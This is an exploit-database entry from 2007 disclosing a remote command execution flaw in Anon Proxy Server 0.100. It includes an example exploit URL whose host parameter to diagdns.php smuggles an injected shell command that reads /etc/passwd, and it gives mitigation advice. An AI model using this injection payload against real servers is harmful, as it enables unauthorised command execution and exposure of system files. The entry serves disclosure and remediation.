Anon Proxy Server 0.1000 Remote Command Execution Vulnerability

2007-12-14T00:00:00
ID 1337DAY-ID-2366
Type zdt
Reporter Michael Brooks
Modified 2007-12-14T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
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Anon Proxy Server 0.1000 Remote Command Execution Vulnerability
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By Michael Brooks
Vulnerability type: Multiple Remote System commands execution. 
Software: Anon Proxy Server
Home page:http://sourceforge.net/projects/anonproxyserver/
Affects version: 0.100

Example exploit:
http://127.0.0.1/anon_proxy_server_0.100/diagdns.php?host=google.com%5C%27+%26%26+cat+%2Fetc%2Fpasswd+%23

A virtually identical flaw exists in diagconnect.php however it takes longer to execute.

Anon Proxy Server forces magic_quotes_gpc=on,  However magic_quotes_gpc does not protect the system()  function from taint.  For protection you should use the escapeshellarg() function. Removing diagdns.php and diagconnect.php is the best temporary solution.  Also magic_quotes_gpc is being removed in php6,  so Anon Proxy Server will have to revamp there security. 

Peace



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